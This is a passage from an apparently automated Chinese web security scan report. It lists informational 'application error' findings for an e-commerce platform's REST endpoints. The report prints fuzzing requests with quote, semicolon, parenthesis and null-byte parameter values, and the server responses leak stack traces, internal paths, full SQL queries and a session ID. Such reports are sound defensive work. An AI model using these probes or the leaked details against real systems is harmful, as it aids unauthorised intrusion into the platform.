Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|4/5

差异: 参数 从以下位置进行控制: ③ 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /pubRole/selectVipRoleList?goodslevelid=; HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|5/5

差异: 参数 从以下位置进行控制: ③ 至:)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /pubRole/selectVipRoleList?goodslevelid=) HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

问题 15 / 43 Toc

应用程序针	情误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	opcode (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

差异: 参数 从以下位置进行控制: - 至: \\$00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&00&goodscode=&gsbmid=&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade=Insecure=Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
```

```
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:29 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsMapper.xml]
### The error may involve com.suneee.scn.goods.dao.PubGoodsDao.selectReportList-Inline
### The error occurred while setting parameters
### SQL: select goodsid, pg.enterpriseid, enterprisecode, goodscode, opcode, goodsname,
goodstype, departmentid, goodsunit, goodsspec, goodsmodel, prandard, specimodel, little produced, inputmanid, bookindate, pg.status, priceflag, stupperlimit, stlowerlimit, barcode,
classcodeflag,
                    smallscaleflag, lastupdateerid, lastupdateername, lastupdatedate,
goodsclassid, taxinprice, intax, baseprice, wsaleprice, wdis, o2osaleprice, tmallsaleprice,
saleprice, minprice, outtax, memo1, memo2, memo3, memo4, inputmanname, factoryname,
notaxprice, sendstatus, warehouseid, supplierid, pgc.classname
classname,pg.goodslevelid,pg.approvaltypeid,pg.gsbmid, case when pat.approvaltypename is null then '不审批' else pat.approvaltypename end approvaltypename,pggb.gsbmname,pg.level FROM
pub goods pg
                    LEFT JOIN pub_goodsclass pgc ON pg.goodsclassid = pgc.classid
                                              LEFT JOIN pub_approval_type pat ON
LEFT JOIN pub_goodsgsbm pggb ON pggb.gsbmid =
pgc.status=1 and pgc.enterpriseid = ?
pat.approvaltypeid = pg.approvaltypeid
pg.gsbmid WHERE pg.status >= 1 and pg.enterpriseid = ? and concat('%',?,'%') ORDER BY pg.bookindate desc , pg.lastupdatedate desc
                                                                                    and pg.opcode like
### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
0x00
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

问题 16 / 43 Toc

应用程序针	#误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	gsbmid (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查
	未执行验证以确保用户输入与预期的数据类型匹配

变体-|1/4

差异: 参数 从以下位置进行控制: — 至: \\$00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=*00&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|2/4

差异: 参数 从以下位置进行控制: - 至: \$27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=%27&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|3/4

差异: 参数 从以下位置进行控制: -至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=;&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|4/4

差异: 参数 从以下位置进行控制: — 至:)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
\verb|goodsids=&goodsname=&opcode=&goodscode=&gsbmid=|) & approval type id=&goodslevelid= \ \texttt{HTTP}/1.1 \\ | 1.1 \\ | 2.1 \\ | 3.2 \\ | 4.2 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 \\ | 4.3 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

问题 17 / 43 Toc

应用程序针	带误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsAddToSave
实体:	->"goodstype" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/2

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsAddToSave HTTP/1.1
Content-Length: 625
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "goodsname": "werdhgf",
"goodstype.": "0",
 "goodscode": "0200202",
 "goodsid": "",
 "status": "1",
 "goodsclassid": "2702",
 "goodsclassname": "\u529e\u516c\u8017\u6750",
 "goodsclassnameek": "02",
 "goodsspec": "hh",
"goodsmodel": "resadsa",
 "baseprice": "999",
 "goodsunit": "gechi",
"brandname": "dsfdsafsa",
 "brandid": "",
 "opcode": "",
 "barcode": "rewqrewq",
 "approvaltypeid": "1",
 "gsbmid": "3",
"level": "4",
 "goodslevelid": "3",
 "inputmanname": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "inputmanid": "2",
 "bookindateStr": "2018-01-11 18:55:56",
"goodsimgurl": " http://cms.mall.xt.weilian.cn/d/4050941e4e7cba7c418d26267922015f",
 "basegoodsimgurl": "",
 "dtlgoodsimgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
```

```
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:30 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Unrecognized field "goodstype." (Class com.suneee.scn.goods.model.dbo.PubGoodsDO), not marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@3562be13; line: 1, column: 38] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsDO["goodstype."])
```

变体-|2/2

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsRestApi/goodsAddToSave HTTP/1.1
Content-Length: 626
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "goodsname": "werdhgf",
 "goodstype[]": "0",
 "goodscode": "0200202",
 "goodsid": "",
 "status": "1",
 "goodsclassid": "2702",
 "goodsclassname": "\u529e\u516c\u8017\u6750",
 "goodsclassnameek": "02",
 "goodsspec": "hh",
"goodsmodel": "resadsa",
 "baseprice": "999",
 "goodsunit": "gechi",
"brandname": "dsfdsafsa",
 "brandid": "",
 "opcode": "",
 "barcode": "rewqrewq",
 "approvaltypeid": "1",
 "gsbmid": "3",
"level": "4",
 "goodslevelid": "3",
 "inputmanname": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "inputmanid": "2",
 "bookindateStr": "2018-01-11 18:55:56",
"goodsimgurl": " http://cms.mall.xt.weilian.cn/d/4050941e4e7cba7c418d26267922015f",
 "basegoodsimgurl": "",
 "dtlgoodsimgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:30 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

```
Unrecognized field "goodstype[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsDO), not marked as ignorable at [Source: io.netty.buffer.ByteBufInputStream@2131c9f7; line: 1, column: 39] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsDO["goodstype[]"])
```

应用程序针	世 误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	goodsids (Parameter)
风险:	可能会收集敏感的调试信息
风险: 原因:	可能会收集敏感的调试信息 未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配

差异: 参数 从以下位置进行控制: -至: 800

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
/goodsRestApi/exportGoodsInfo? \\ goodsids=\$00\&goodsname=\&opcode=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&goodscode=\&gsbmid=\&approvaltypeid=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&good
 goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
 Upgrade-Insecure-Requests: 1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
 Server: openresty
 Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
 Connection: keep-alive
 Date: Fri, 12 Jan 2018 03:21:28 GMT
 Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
 ### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
 sequence for encoding "UTF8": 0x00
 \texttt{\#\#\#} \  \, \texttt{The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-1.0]}
 SNAPSHOT.jar!/mybatisMap/PubGoodsMapper.xml]
 ### The error may involve com.suneee.scn.goods.dao.PubGoodsDao.selectReportList-Inline
 \#\#\# The error occurred while setting parameters
 ### SQL: select goodsid, pg.enterpriseid, enterprisecode, goodscode, opcode, goodsname,
goodstype, departmentid, goodsunit, goodsspec, goodsmodel, prandard, specimodel, prodarea. inputmanid, bookindate, pg.status, priceflag, stupperlimit, stlowerlimit, barcode,
classcodeflag, smallscaleflag, lastupdateerid, lastupdateername, lastupdatedate,
```

```
goodsclassid, taxinprice, intax, baseprice, wsaleprice, wdis, o2osaleprice, tmallsaleprice, saleprice, minprice, outtax, memo1, memo2, memo3, memo4,inputmanname, factoryname, notaxprice, sendstatus, warehouseid, supplierid, pgc.classname classname,pg.goodslevelid,pg.approvaltypeid,pg.gsbmid, case when pat.approvaltypename is null then '不审批' else pat.approvaltypename end approvaltypename,pggb.gsbmname,pg.level FROM pub_goods pg LEFT JOIN pub_goodsclass pgc ON pg.goodsclassid = pgc.classid and pgc.status=1 and pgc.enterpriseid = ? LEFT JOIN pub_approval_type pat ON pat.approvaltypeid = pg.approvaltypeid LEFT JOIN pub_goodsgsbm pggb ON pggb.gsbmid = pg.gsbmid WHERE pg.status >= 1 and pg.enterpriseid = ? and CAST (goodsid AS text) in ( ? ) ORDER BY pg.bookindate desc , pg.lastupdatedate desc ### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

问题 19 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsAddToSave
实体:	->"dtlgoodsimgurl" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/2

差异: 参数 从以下位置进行控制: ->"dtlgoodsimgurl" 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsAddToSave HTTP/1.1
Content-Length: 625
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "goodsname": "werdhgf",
 "goodstype": "0",
 "goodscode": "0200202",
 "goodsid": "",
 "status": "1",
 "goodsclassid": "2702",
 "goodsclassname": "\u529e\u516c\u8017\u6750",
```

```
"goodsclassnameek": "02",
    "goodsspec": "hh",
   "goodsmodel": "resadsa",
   "baseprice": "999",
"goodsunit": "gechi",
   "brandname": "dsfdsafsa",
    "brandid": "",
   "opcode": "",
"barcode": "rewqrewq",
   "approvaltypeid": "1",
   "gsbmid": "3",
   "level": "4",
    "goodslevelid": "3",
   "inputmanname": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
   "inputmaniame": "\u0044\u0050\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766\u00766